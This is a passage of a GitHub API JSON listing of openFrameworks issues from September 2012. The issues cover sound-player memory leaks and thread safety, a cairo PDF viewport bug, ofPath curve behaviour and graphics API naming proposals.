\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/sound/ofOpenALSoundPlayer.cpp#L395"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1579","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1579/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1579/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1579/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1579","id":6699239,"number":1579,"title":"ofOpenALSoundPlayer::loadSound leaks memory on error conditions","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T20:50:58Z","updated_at":"2012-09-06T20:50:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"in the `if (err != AL_NO_ERROR)` blocks, no close/unstream/alDeleteSources calls are made."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1578","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1578/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1578/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1578/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1578","id":6699228,"number":1578,"title":"setting custom viewport in cairo renderer does not work","user":{"login":"underdoeg","id":243820,"avatar_url":"https://secure.gravatar.com/avatar/6ff8fe2dd72480f1685ee15e374205b7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6ff8fe2dd72480f1685ee15e374205b7","url":"https://api.github.com/users/underdoeg","html_url":"https://github.com/underdoeg","followers_url":"https://api.github.com/users/underdoeg/followers","following_url":"https://api.github.com/users/underdoeg/following","gists_url":"https://api.github.com/users/underdoeg/gists{/gist_id}","starred_url":"https://api.github.com/users/underdoeg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/underdoeg/subscriptions","organizations_url":"https://api.github.com/users/underdoeg/orgs","repos_url":"https://api.github.com/users/underdoeg/repos","events_url":"https://api.github.com/users/underdoeg/events{/privacy}","received_events_url":"https://api.github.com/users/underdoeg/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T20:50:33Z","updated_at":"2012-09-06T20:52:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"the following code creates a blank pdf\n```\n ofBeginSaveScreenAsPDF(\"test.pdf\", true, true, ofRectangle(0, 0, 100, 300));\n\tofSetColor(0);\n\tofCircle(0,0,100,100);\n\tofEndSaveScreenAsPDF();\n```\n\nWhile this code places a circle in the upper left corner as expected:\n```\n ofBeginSaveScreenAsPDF(\"test.pdf\");\n\tofSetColor(0);\n\tofCircle(0,0,100,100);\n\tofEndSaveScreenAsPDF();\n```\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1577","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1577/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1577/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1577/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1577","id":6699106,"number":1577,"title":"ofOpenALSoundPlayer sfReadFile, mpg123ReadFile and mpg123Stream error conditions can leak memory","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T20:45:49Z","updated_at":"2012-09-06T20:46:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"should call `sf_close` before `return false`, or `mpg123_delete` and `mpg123_close`"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1576","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1576/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1576/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1576/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1576","id":6699082,"number":1576,"title":"ofOpenALSoundPlayer::initialize doesn't check for error conditions","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T20:44:45Z","updated_at":"2012-09-06T20:44:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1575","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1575/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1575/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1575/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1575","id":6698700,"number":1575,"title":"ofPath isn't able to switch drawing modes","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-09-06T20:30:09Z","updated_at":"2012-10-01T19:37:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"as per email discussion beginning http://dev.openframeworks.cc/htdig.cgi/of-dev-openframeworks.cc/2012-April/004332.html\n\ni'd like to propose a couple of changes to the way ofPath works around handling Catmull-Rom and Bezier segments. \n\ni'm calling this code:\n\n\tofPath path;\n\tpath.moveTo( 100, 100 );\n\tpath.lineTo( 150, 100 );\n\tpath.curveTo( 200, 150 );\n\tpath.lineTo( 200, 200 );\n\tpath.draw();\n\nwhen i read this i'm visualizing a horizontal line segment and a vertical line segment with a curve smoothly connecting them, something like this (no.1):\n![no.1](http://i47.tinypic.com/uowfd.jpg) \n\n\nor at least (though less desirable), this (no.2):\n![no.2](http://i47.tinypic.com/11tu1cz.jpg)\n\n\nwhat i actually get is this (no.3)\n![no.3](http://i46.tinypic.com/2isglsx.jpg)\n\n\n\nwhether it's a bug or not, i think no.3 is wrong. i asked for a curve! where's my curve? also why is my 3rd point being completely ignored? \n\npossible objections to this line of thinking (aka, what Arturo said): \n\n* 'but Catmull-Rom requires 4 points'\nanswer(a): but i *am* giving it four points: (100,100), (150,100), (200,150), (200,200) (image no.2)\nanswer(b): i'm a beginner and i haven't read the docs so i don't know that 'curveTo' means Catmull-Rom, nor that Catmull-Rom needs 4 points. where's my curve???\nanswer(c): ok, so i'm only giving the algorithm one point, which means i'm doing something wrong. but wait. if you look at my code above, based on the way the API is structured (move to here, straight line to here, curve to here, straight line to here), it doesn't *look* like i'm doing anything wrong. i expect it to work, and when it doesn't i become confused and angry.\n\n* 'why don't you use a bezier instead of a curve vertex?'\nanswer: why should i need to calculate the bezier handles myself? the code can and therefore should do this for me. intuitively, stright line followed by curve followed by straight line should automatically generate control points for a clean transition from the straight segment to curve segment without corners. we can add an explicit 'please make a corner here' bFlag to the curveTo function if we want a corner.\n\n(there's an analogous case here for bezierTo: if i'm coming out of or joining to a straight line segment or another curve i would like an option for my bezier handles to be calculated automatically; similarly it'd be nice to have an option to automatically mirror a previous bezier segment's handle for the first control point to bezierTo, in order to avoid making a corner.)\n\n* 'but this is how ofCurveVertex used to work'\nanswer: no it's not. if you switched vertex types in the middle of a pair of ofBeginShape/ofEndShape, your existing points get thrown away in some circumstances. basically ofBeginShape/endShape wasn't able to handle changing the vertex types mid-path, whereas according to its API, ofPath is.\n\n\nso, what is the correct behaviour with this code?\n\n\tpath.moveTo( 100, 100 );\n\tpath.lineTo( 150, 100 );\n\tpath.curveTo( 200, 150 );\n\tpath.lineTo( 200, 200 );\n\nto me, it's something like no.1, a horizontal line segment and a vertical line segment with a curve smoothly connecting them. \n\n\ndoes anyone else expect something different?\n\nif not, let's make ofPath work this way!\n\n\n\n\n\nnotes: \n\nsource to generate no.3:\n\n\tvector points;\n\tpoints.push_back( ofPoint( 100, 100 ) );\n\tpoints.push_back( ofPoint( 150, 100 ) );\n\tpoints.push_back( ofPoint( 200, 150 ) );\n\tpoints.push_back( ofPoint( 200, 200 ) );\n\n\tofNoFill();\n\tofSetColor( 128, 128, 128 );\n\tfor ( int i=0; i[1] line segment, and find the point along the ray at (say) 1/3 of the distance between [1] and [2]; this is your first control point. do something similar for the second control point.)\n\n\nimage no.2 is generated by\n\n\tpath.moveTo( points[0] );\n\tpath.lineTo( points[1] );\n\tpath.curveTo( points[0] );\n\tpath.curveTo( points[1] );\n\tpath.curveTo( points[2] );\n\tpath.curveTo( points[3] );\n\tpath.lineTo( points[3] );\n\nthis is pretty ugly code and unfortunately it creates corners at points[1] and points[2] which isn't correct in my opinion.\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1574","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1574/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1574/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1574/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1574","id":6698381,"number":1574,"title":"ofBitmapModes are not intutively named","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T20:16:06Z","updated_at":"2012-09-06T20:33:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\nthese bitmap modes are not very intuitive: \n\n`OF_BITMAP_SIMPLE,\nOF_BITMAPMODE_SCREEN\nOF_BITMAPMODE_VIEWPORT\nOF_BITMAPMODE_MODEL\nOF_BITMAPMODE_MODEL_BILLBOARD`\n\nwondering if we can use better naming or alternatively add some parameters w/ drawing that will make more sense then having different modes (ie, useScreenCoordinates = true / false allows you to switch between viewport and screen). \n\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1573","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1573/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1573/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1573/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1573","id":6698261,"number":1573,"title":"code repetition about orientation in ofGLRenderer.cpp","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-09-06T20:10:39Z","updated_at":"2012-09-06T21:38:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\n\nthis code for orientation seems to be included twice, it's a bit redundant to have it in both places and would be good to include it once so that if we need to fix it, we don't have it written multiple places: \n\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofGLRenderer.cpp#L370-420\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofGLRenderer.cpp#L458-507"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1572","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1572/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1572/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1572/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1572","id":6697968,"number":1572,"title":"ofOpenALSoundPlayer uses a thread internally does not appear thread-safe","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T19:58:00Z","updated_at":"2012-09-06T19:58:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofOpenALSoundPlayer looks like it ought to have locks around all of its functions. it's using a threadedFunction to handle updating/processing the sound playback streams in a background thread. \n\nalthough OpenAL is itself thread-safe, our code is not thread safe. for example unloadSound deletes channels and sources but if it does this while threadedFunction() is running so a channel might become invalid halfway through updating it on our side, leading to for example a bad buffer reference being passed to different functions.\n\nalso, handling of stream_end is broken. if in the main thread stream_end is assigned true while the threadedFunction is executing code between https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/sound/ofOpenALSoundPlayer.cpp#L505 and line 520, when line 521 executes the value of stream_end is assigned back to false and the stream will not end."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1571","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1571/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1571/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1571/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1571","id":6697860,"number":1571,"title":"Does ofPath support drawing both fill and stroke at the same time?","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-09-06T19:52:39Z","updated_at":"2012-09-06T20:25:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I can't tell from the ofPath api if you can draw both fill and stroke simultaneously. Regular ofGrpahics calls do not support this ...\n\nAlso, what happens if you:\n\n```\npath.setFilled(false);\npath.setStrokeWidth(0);\n```\nIs nothing drawn? If the api supports drawing both fill and outline, then it would make sense that setting the stroke width to 0 here would automatically set fill to true ... so at least something is drawn. Same conversely ...\n\nEdit: In fact, having a stroke/fill approach does not match the ofGraphics api. Maybe it makes sense to just have setColor(), fill(), and nofill() so ofPath works the same way ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1570","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1570/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1570/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1570/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1570","id":6697605,"number":1570,"title":"retain / release & static map for opengl objects could be abstracted","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-09-06T19:41:40Z","updated_at":"2012-09-06T20:06:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\nin reviewing the code, we've seen a bunch of chunks of code for each opengl based object that handles a static map between GLunits and int ids, and which has retain and release code that the objects (ofLight, ofTexture, ofFbo) use. It seems like this code could be written once (glManager?), and then used in multiple places, with some minor customization based on the object you're tracking. It would mean less repetition in the code, and if we want to expand on what this code does it will make it easier to have it only in one place. \n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1569","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1569/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1569/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1569/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1569","id":6695826,"number":1569,"title":"ofGraphics modes current settings getters","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T18:30:11Z","updated_at":"2012-09-06T18:30:39Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It'd be nice to be able to get the current value of some of the graphics modes, aka something like\n\n```\nbool ofIsBlendingEnabled();\nbool ofArePointSpritesEnabled();\nbool ofIsAlphaBlendingEnabled();\nbool ofIsSmoothingEnabled();\n```\n\nThere could also be a function to get the current color which pulls from the default style ...\n\n```\nofColor ofGetColor() {\n return ofGetStyle().getColor();\n}\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1567","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1567/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1567/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1567/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1567","id":6692471,"number":1567,"title":"ofThread does not have a setVerbose method","user":{"login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","html_url":"https://github.com/NickHardeman","followers_url":"https://api.github.com/users/NickHardeman/followers","following_url":"https://api.github.com/users/NickHardeman/following","gists_url":"https://api.github.com/users/NickHardeman/gists{/gist_id}","starred_url":"https://api.github.com/users/NickHardeman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/NickHardeman/subscriptions","organizations_url":"https://api.github.com/users/NickHardeman/orgs","repos_url":"https://api.github.com/users/NickHardeman/repos","events_url":"https://api.github.com/users/NickHardeman/events{/privacy}","received_events_url":"https://api.github.com/users/NickHardeman/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/c